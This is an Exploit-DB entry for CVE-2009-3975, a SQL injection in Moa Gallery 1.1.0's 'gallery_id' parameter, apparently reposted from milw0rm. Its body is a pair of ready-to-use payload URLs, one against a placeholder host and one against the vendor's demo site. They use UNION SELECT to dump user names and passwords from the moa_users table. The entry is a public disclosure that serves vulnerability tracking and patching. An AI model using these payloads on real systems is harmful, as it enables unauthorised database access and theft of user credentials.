Moa Gallery 1.1.0 - 'gallery_id' SQL Injection

EDB-ID:

9481

CVE:

2009-3975

EDB Verified:

Author:

Mr.tro0oqy

Type:

webapps

Exploit: /

Platform:

PHP

Date:

2009-08-24

Vulnerable App:

======================================================================
[Â»] Script : Moa gallery 1.1.0 (gallery_id) Remote Sql injection vuln

[Â»] Language : php  

[Â»] Download : http://sourceforge.net/projects/moagallery/

[Â»] Script site : http://www.moagallery.net/

[Â»] Founder: Mr.tro0oqy <- from Yemen

[Â»] Gr44tz to: [H]-> borken heart :(

[Â»] E-mail : t.4@windowslive.com
======================================================================
exploit:
--------

http://www.xxx.com/path/index.php?action=gallery_view&gallery_id=-0000000009+union+select+concat(name,char(58),password)+from+moa_users--

--------
demo:
--------

http://www.moagallery.net/demo/index.php?action=gallery_view&gallery_id=-0000000609+union+select+concat%28name,char%2858%29,password%29+from+moa_users--

# milw0rm.com [2009-08-24]

Tags:

Advisory/Source: Link

Databases	Links	Sites	Solutions
Exploits	Search Exploit-DB	OffSec	Courses and Certifications
Google Hacking	Submit Entry	Kali Linux	Learn Subscriptions
Papers	SearchSploit Manual	VulnHub	OffSec Cyber Range
Shellcodes	Exploit Statistics		Proving Grounds
			Penetration Testing Services